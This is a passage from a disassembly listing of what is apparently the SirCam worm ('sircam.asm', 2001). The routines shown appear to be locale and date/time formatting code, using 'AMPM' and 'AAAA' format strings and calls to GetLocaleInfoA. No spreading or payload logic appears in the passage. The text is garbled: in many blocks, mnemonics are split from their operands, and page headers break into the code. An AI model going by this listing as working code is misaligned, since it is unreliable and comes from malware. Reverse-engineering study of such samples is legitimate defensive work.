eax, [ebp+var_12]
mov
edx, [ebp+var_C]
call
sub_408144
pop
ecx
jmp
loc_408BB8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40872E:
; CODE XREF: sub_4084A8+25F\030j
mov
eax, [ebp+arg_0]
push
eax
mov
eax, [ebp+arg_0]
push
dword ptr [eax+0Ch]
push
dword ptr [eax+8]
call
sub_408068
mov
eax, ds:dword_41E56C[eax*4]
call
sub_408124
pop
ecx
jmp
loc_408BB8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_408752:
; CODE XREF: sub_4084A8+262\030j
mov
eax, [ebp+arg_0]
push
eax
mov
eax, [ebp+arg_0]
push
dword ptr [eax+0Ch]
push
dword ptr [eax+8]
call
sub_408068
mov
eax, ds:dword_41E588[eax*4]
call
sub_408124
pop
ecx
jmp
loc_408BB8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_408776:
; CODE XREF: sub_4084A8+265\030j
mov
eax, [ebp+arg_0]
push
eax
mov
eax, ds:dword_41E4F4
call
sub_4084A8
pop
ecx
jmp
loc_408BB8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40878A:
; CODE XREF: sub_4084A8+267\030j
mov
eax, [ebp+arg_0]
push
eax
mov
eax, ds:dword_41E4F8
call
sub_4084A8
pop
ecx
jmp
loc_408BB8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40879E:
; CODE XREF: sub_4084A8+C1\030j
; DATA XREF: sub_4084A8+119\030o
push
call
pop
push
call
ebp
sub_408190
ecx
ebp
sub_4081F4
sircam.asm
Fri Aug 10 12:42:44 2001
230
pop
ecx
mov
[ebp+var_1F], 0
mov
esi, [ebp+var_4]
jmp
loc_40884F
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4087B8:
; CODE XREF: sub_4084A8+3AB\031j
and
eax, 0FFh
bt
ds:dword_41C104, eax
jnb
short loc_4087D3
inc
esi
cmp
byte ptr [esi], 0
jz
loc_408859
inc
esi
jmp
short loc_40884F
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4087D3:
; CODE XREF: sub_4084A8+31C\030j
xor
eax, eax
mov
al, [esi]
cmp
eax, 48h
jg
short loc_4087EF
jz
short loc_408859
sub
eax, 22h
jz
short loc_408846
sub
eax, 5
jz
short loc_408846
sub
eax, 1Ah
jz
short loc_4087FB
jmp
short loc_40884E
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4087EF:
; CODE XREF: sub_4084A8+332\030j
sub
eax, 61h
jz
short loc_4087FB
sub
eax, 7
jz
short loc_408859
jmp
short loc_40884E
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4087FB:
; CODE XREF: sub_4084A8+343\030j
; sub_4084A8+34A\030j
cmp
jnz
mov
mov
mov
call
test
jz
mov
mov
mov
call
test
jz
mov
mov
mov
call
test
jnz
loc_408840:
[ebp+var_1F], 0
short loc_40884E
edx, offset dword_408BF8
ecx, 5
eax, esi
sub_4075E0
eax, eax
short loc_408840
edx, offset dword_408C00
ecx, 3
eax, esi
sub_4075E0
eax, eax
short loc_408840
edx, offset aAmpm ; "AMPM"
ecx, 4
eax, esi
sub_4075E0
eax, eax
short loc_408859
; CODE XREF: sub_4084A8+36C\030j
; sub_4084A8+381\030j
mov
[ebp+var_1E], 1
jmp
short loc_408859
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_408846:
; CODE XREF: sub_4084A8+339\030j
sircam.asm
Fri Aug 10 12:42:44 2001
231
; sub_4084A8+33E\030j
mov
xor
mov
al, [ebp+var_1F]
al, 1
[ebp+var_1F], al
loc_40884E:
; CODE XREF: sub_4084A8+345\030j
; sub_4084A8+351\030j ...
inc
esi
loc_40884F:
; CODE XREF: sub_4084A8+30B\030j
; sub_4084A8+329\030j
mov
test
jnz
al, [esi]
al, al
loc_4087B8
loc_408859:
; CODE XREF: sub_4084A8+322\030j
; sub_4084A8+334\030j ...
mov
ax, [ebp+var_16]
cmp
[ebp+var_1E], 0
jz
short loc_408878
test
ax, ax
jnz
short loc_40886E
mov
ax, 0Ch
jmp
short loc_408878
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40886E:
; CODE XREF: sub_4084A8+3BE\030j
cmp
jbe
sub
ax, 0Ch
short loc_408878
ax, 0Ch
loc_408878:
; CODE XREF: sub_4084A8+3B9\030j
; sub_4084A8+3C4\030j ...
cmp
jle
mov
[ebp+var_C], 2
short loc_408885
[ebp+var_C], 2
loc_408885:
; CODE XREF: sub_4084A8+3D4\030j
mov
edx, [ebp+arg_0]
push
edx
movzx
eax, ax
mov
edx, [ebp+var_C]
call
sub_408144
pop
ecx
jmp
loc_408BB8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40889A:
; CODE XREF: sub_4084A8+C1\030j
; DATA XREF: sub_4084A8+11D\030o
push
call
pop
push
call
pop
cmp
jle
mov
ebp
sub_408190
ecx
ebp
sub_4081F4
ecx
[ebp+var_C], 2
short loc_4088B5
[ebp+var_C], 2
loc_4088B5:
; CODE XREF: sub_4084A8+404\030j
mov
eax, [ebp+arg_0]
push
eax
movzx
eax, [ebp+var_18]
mov
edx, [ebp+var_C]
call
sub_408144
pop
ecx
jmp
loc_408BB8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4088CB:
; CODE XREF: sub_4084A8+C1\030j
sircam.asm
Fri Aug 10 12:42:44 2001
232
; DATA XREF: sub_4084A8+121\030o
push
call
pop
push
call
pop
cmp
jle
mov
ebp
sub_408190
ecx
ebp
sub_4081F4
ecx
[ebp+var_C], 2
short loc_4088E6
[ebp+var_C], 2
loc_4088E6:
; CODE XREF: sub_4084A8+435\030j
mov
eax, [ebp+arg_0]
push
eax
movzx
eax, [ebp+var_1A]
mov
edx, [ebp+var_C]
call
sub_408144
pop
ecx
jmp
loc_408BB8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4088FC:
; CODE XREF: sub_4084A8+C1\030j
; DATA XREF: sub_4084A8+125\030o
push
ebp
call
sub_408190
pop
ecx
cmp
[ebp+var_C], 1
jnz
short loc_40891D
mov
eax, [ebp+arg_0]
push
eax
mov
eax, ds:dword_41E508
call
sub_4084A8
pop
ecx
jmp
loc_408BB8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40891D:
; CODE XREF: sub_4084A8+45F\030j
mov
eax, [ebp+arg_0]
push
eax
mov
eax, ds:dword_41E50C
call
sub_4084A8
pop
ecx
jmp
loc_408BB8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_408931:
; CODE XREF: sub_4084A8+C1\030j
; DATA XREF: sub_4084A8+129\030o
push
call
pop
push
call
pop
cmp
jle
mov
ebp
sub_408190
ecx
ebp
sub_4081F4
ecx
[ebp+var_C], 3
short loc_40894C
[ebp+var_C], 3
loc_40894C:
; CODE XREF: sub_4084A8+49B\030j
mov
eax, [ebp+arg_0]
push
eax
movzx
eax, [ebp+var_1C]
mov
edx, [ebp+var_C]
call
sub_408144
pop
ecx
jmp
loc_408BB8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_408962:
; CODE XREF: sub_4084A8+C1\030j
; DATA XREF: sub_4084A8+12D\030o
push
ebp
sircam.asm
Fri Aug 10 12:42:44 2001
call
pop
mov
dec
mov
mov
mov
call
test
jnz
cmp
jb
add
233
sub_4081F4
ecx
esi, [ebp+var_4]
esi
edx, offset dword_408BF8
ecx, 5
eax, esi
sub_4075E0
eax, eax
short loc_4089AA
[ebp+var_16], 0Ch
short loc_40898C
esi, 3
loc_40898C:
; CODE XREF: sub_4084A8+4DF\030j
mov
eax, [ebp+arg_0]
push
eax
mov
edx, 2
mov
eax, esi
call
sub_4080E0
pop
ecx
add
[ebp+var_4], 4
mov
[ebp+var_1E], 1
jmp
loc_408BB8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4089AA:
mov
mov
mov
call
test
jnz
cmp
jb
add
; CODE XREF: sub_4084A8+4D8\030j
edx, offset dword_408C00
ecx, 3
eax, esi
sub_4075E0
eax, eax
short loc_4089E7
[ebp+var_16], 0Ch
short loc_4089C9
esi, 2
loc_4089C9:
; CODE XREF: sub_4084A8+51C\030j
mov
eax, [ebp+arg_0]
push
eax
mov
edx, 1
mov
eax, esi
call
sub_4080E0
pop
ecx
add
[ebp+var_4], 2
mov
[ebp+var_1E], 1
jmp
loc_408BB8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4089E7:
; CODE XREF: sub_4084A8+515\030j
mov
edx, offset aAmpm ; "AMPM"
mov
ecx, 4
mov
eax, esi
call
sub_4075E0
test
eax, eax
jnz
short loc_408A30
cmp
[ebp+var_16], 0Ch
jnb
short loc_408A14
mov
eax, [ebp+arg_0]
push
eax
mov
eax, ds:dword_41E500
call
sub_408124
pop
ecx
jmp
short loc_408A23
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_408A14:
mov
push
mov
; CODE XREF: sub_4084A8+559\030j
eax, [ebp+arg_0]
eax
eax, ds:dword_41E504
sircam.asm
Fri Aug 10 12:42:44 2001
call
pop
234
sub_408124
ecx
loc_408A23:
; CODE XREF: sub_4084A8+56A\030j
add
[ebp+var_4], 3
mov
[ebp+var_1E], 1
jmp
loc_408BB8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_408A30:
; CODE XREF: sub_4084A8+552\030j
mov
edx, offset aAaaa ; "AAAA"
mov
ecx, 4
mov
eax, esi
call
sub_4075E0
test
eax, eax
jnz
short loc_408A74
push
ebp
call
sub_4081BC
pop
ecx
mov
eax, [ebp+arg_0]
push
eax
mov
eax, [ebp+arg_0]
push
dword ptr [eax+0Ch]
push
dword ptr [eax+8]
call
sub_408068
mov
eax, ds:dword_41E588[eax*4]
call
sub_408124
pop
ecx
add
[ebp+var_4], 3
jmp
loc_408BB8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_408A74:
; CODE XREF: sub_4084A8+59B\030j
mov
edx, offset off_408C14
mov
ecx, 3
mov
eax, esi
call
sub_4075E0
test
eax, eax
jnz
short loc_408AB8
push
ebp
call
sub_4081BC
pop
ecx
mov
eax, [ebp+arg_0]
push
eax
mov
eax, [ebp+arg_0]
push
dword ptr [eax+0Ch]
push
dword ptr [eax+8]
call
sub_408068
mov
eax, ds:dword_41E56C[eax*4]
call
sub_408124
pop
ecx
add
[ebp+var_4], 2
jmp
loc_408BB8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_408AB8:
; CODE XREF: sub_4084A8+5DF\030j
mov
eax, [ebp+arg_0]
push
eax
lea
eax, [ebp+var_5]
mov
edx, 1
call
sub_4080E0
pop
ecx
jmp
loc_408BB8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_408ACF:
; CODE XREF: sub_4084A8+C1\030j
; DATA XREF: sub_4084A8+131\030o
push
call
pop
ebp
sub_408190
ecx
sircam.asm
Fri Aug 10 12:42:44 2001
mov
push
mov
call
pop
push
call
pop
cmp
jnz
cmp
jnz
cmp
jz
235
eax, [ebp+arg_0]
eax
eax, ds:dword_41E4F4
sub_4084A8
ecx
ebp
sub_4081F4
ecx
[ebp+var_16], 0
short loc_408B05
[ebp+var_18], 0
short loc_408B05
[ebp+var_1A], 0
loc_408BB8
loc_408B05:
; CODE XREF: sub_4084A8+649\030j
; sub_4084A8+650\030j
mov
eax, [ebp+arg_0]
push
eax
mov
eax, offset dword_408C18
mov
edx, 1
call
sub_4080E0
pop
ecx
mov
eax, [ebp+arg_0]
push
eax
mov
eax, ds:dword_41E50C
call
sub_4084A8
pop
ecx
jmp
loc_408BB8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_408B2D:
; CODE XREF: sub_4084A8+C1\030j
; DATA XREF: sub_4084A8+135\030o
mov
eax, [ebp+arg_0]
push
eax
mov
eax, offset byte_41E4F1
mov
edx, 1
call
sub_4080E0
pop
ecx
jmp
short loc_408BB8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_408B43:
; CODE XREF: sub_4084A8+C1\030j
; DATA XREF: sub_4084A8+139\030o
mov
eax, [ebp+arg_0]
push
eax
mov
eax, offset byte_41E4FC
mov
edx, 1
call
sub_4080E0
pop
ecx
jmp
short loc_408BB8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_408B59:
; CODE XREF: sub_4084A8+C1\030j
; DATA XREF: sub_4084A8+13D\030o
mov
esi, [ebp+var_4]
jmp
short loc_408B7A
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_408B5E:
and
bt
jnb
inc
mov
cmp
jz
; CODE XREF: sub_4084A8+6DE\031j
eax, 0FFh
ds:dword_41C104, eax
short loc_408B77
[ebp+var_4]
eax, [ebp+var_4]
byte ptr [eax], 0
short loc_408B88
inc
[ebp+var_4]
loc_408B77:
; CODE XREF: sub_4084A8+6C2\030j
sircam.asm
Fri Aug 10 12:42:44 2001
loc_408B7A:
236
; CODE XREF: sub_4084A8+6B4\030j
mov
mov
test
jz
cmp
jnz
eax, [ebp+var_4]
al, [eax]
al, al
short loc_408B88
al, [ebp+var_5]
short loc_408B5E
loc_408B88:
; CODE XREF: sub_4084A8+6CD\030j
; sub_4084A8+6D9\030j
mov
eax, [ebp+arg_0]
push
eax
mov
edx, [ebp+var_4]
sub
edx, esi
mov
eax, esi
call
sub_4080E0
pop
ecx
mov
eax, [ebp+var_4]
cmp
byte ptr [eax], 0
jz
short loc_408BB8
inc
[ebp+var_4]
jmp
short loc_408BB8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_408BA6:
; CODE XREF: sub_4084A8+B5\030j
; sub_4084A8+C1\030j
; DATA XREF: ...
mov
push
lea
mov
call
pop
eax, [ebp+arg_0]
eax
eax, [ebp+var_5]
edx, 1
sub_4080E0
ecx
loc_408BB8:
; CODE XREF: sub_4084A8+52\030j
; sub_4084A8+7F\030j ...
mov
mov
test
jnz
eax, [ebp+var_4]
al, [eax]
al, al
loc_4084FF
mov
dec
; CODE XREF: sub_4084A8+74\030j
eax, [ebp+arg_0]
dword ptr [eax-108h]
loc_408BC5:
loc_408BCE:
; CODE XREF: sub_4084A8+25\030j
; sub_4084A8+35\030j
xor
pop
pop
pop
mov
push
loc_408BDB:
sub_4084A8
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_408BF0
; CODE XREF: CODE:00408BEE\031j
lea
eax, [ebp+var_28]
mov
edx, 2
call
sub_4034EC
retn
endp ; sp = -38h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_408BE9:
; DATA XREF: sub_4084A8+16\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_408BDB
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
sircam.asm
Fri Aug 10 12:42:44 2001
237
loc_408BF0:
; DATA XREF: sub_4084A8+72E\030o
pop
esi
pop
ebx
mov
esp, ebp
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
dword_408BF8
dd 502F4D41h, 4Dh
; DATA XREF: sub_4084A8+359\030o
; sub_4084A8+4C5\030o
dword_408C00
dd 502F41h
; DATA XREF: sub_4084A8+36E\030o
; sub_4084A8+502\030o
aAmpm
db ’AMPM’,0
; DATA XREF: sub_4084A8+383\030o
; sub_4084A8+53F\030o
align 4
aAaaa
db ’AAAA’,0
; DATA XREF: sub_4084A8+588\030o
align 4
off_408C14
dd offset loc_414141
; DATA XREF: sub_4084A8+5CC\030o
dword_408C18
dd 20h
; DATA XREF: sub_4084A8+661\030o
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_408C1C
proc near
var_108
var_104
var_100
= dword ptr -108h
= dword ptr -104h
= byte ptr -100h
; CODE XREF: sub_408C78+B\031p
; sub_408C8C+A\031p
push
ebp
mov
ebp, esp
add
esp, 0FFFFFEF8h
push
ebx
push
esi
mov
ebx, edx
mov
esi, eax
xor
eax, eax
mov
[ebp+var_104], eax
xor
eax, eax
mov
[ebp+var_108], eax
test
ebx, ebx
jz
short loc_408C4A
push
ebp
mov
eax, ebx
call
sub_4084A8
pop
ecx
jmp
short loc_408C56
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_408C4A:
push
mov
call
pop
loc_408C56:
sub_408C1C
lea
mov
mov
call
pop
pop
mov
pop
retn
endp
; CODE XREF: sub_408C1C+21\030j
ebp
eax, offset dword_408C74
sub_4084A8
ecx
; CODE XREF: sub_408C1C+2C\030j
edx, [ebp+var_100]
eax, esi
ecx, [ebp+var_104]
sub_4035B0
esi
ebx
esp, ebp
ebp
8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
sircam.asm
dword_408C74
Fri Aug 10 12:42:44 2001
align 4
dd 43h
238
; DATA XREF: sub_408C1C+2F\030o
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_408C78
proc near
arg_0
arg_4
= dword ptr
= dword ptr
sub_408C78
push
mov
push
push
xor
call
pop
retn
endp
; CODE XREF: start+7E6\031p
8
0Ch
ebp
ebp, esp
[ebp+arg_4]
[ebp+arg_0]
edx, edx
sub_408C1C
ebp
8
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_408C8C
proc near
arg_0
arg_4
= dword ptr
= dword ptr
sub_408C8C
push
mov
push
push
xchg
call
pop
retn
endp
; CODE XREF: sub_411110+67\031p
; sub_411110+EF\031p
8
0Ch
ebp
ebp, esp
[ebp+arg_4]
[ebp+arg_0]
eax, edx
sub_408C1C
ebp
8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_408CA0
proc near
var_101
var_100
= byte ptr -101h
= byte ptr -100h
; CODE XREF: sub_40A398+31\031p
push
ebx
add
esp, 0FFFFFF00h
mov
ebx, edx
push
0
push
100h
lea
edx, [esp+108h+var_100]
push
edx
push
0
push
eax
push
0
push
3000h
call
j_FormatMessageA
jmp
short loc_408CC7
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_408CC6:
; CODE XREF: sub_408CA0+32\031j
sircam.asm
Fri Aug 10 12:42:44 2001
239
; sub_408CA0+37\031j
dec
eax
test
jle
mov
sub
jb
sub
jz
; CODE XREF: sub_408CA0+24\030j
eax, eax
short loc_408CD9
dl, [esp+eax+100h+var_101]
dl, 21h
short loc_408CC6
dl, 0Dh
short loc_408CC6
loc_408CC7:
loc_408CD9:
sub_408CA0
; CODE XREF: sub_408CA0+29\030j
mov
mov
xchg
call
add
pop
retn
endp
edx, esp
ecx, ebx
eax, ecx
sub_4035B0
esp, 100h
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_408CEC
proc near
var_100
arg_0
= byte ptr -100h
= dword ptr 8
; CODE XREF: sub_408D60+1C\031p
; sub_408F74+27\031p ...
push
ebp
mov
ebp, esp
add
esp, 0FFFFFF00h
push
ebx
push
esi
mov
esi, ecx
mov
ebx, [ebp+arg_0]
push
100h
lea
ecx, [ebp+var_100]
push
ecx
push
edx
push
eax
call
j_GetLocaleInfoA_0
test
eax, eax
jle
short loc_408D25
mov
ecx, eax
dec
ecx
lea
edx, [ebp+var_100]
mov
eax, ebx
call
sub_4035B0
jmp
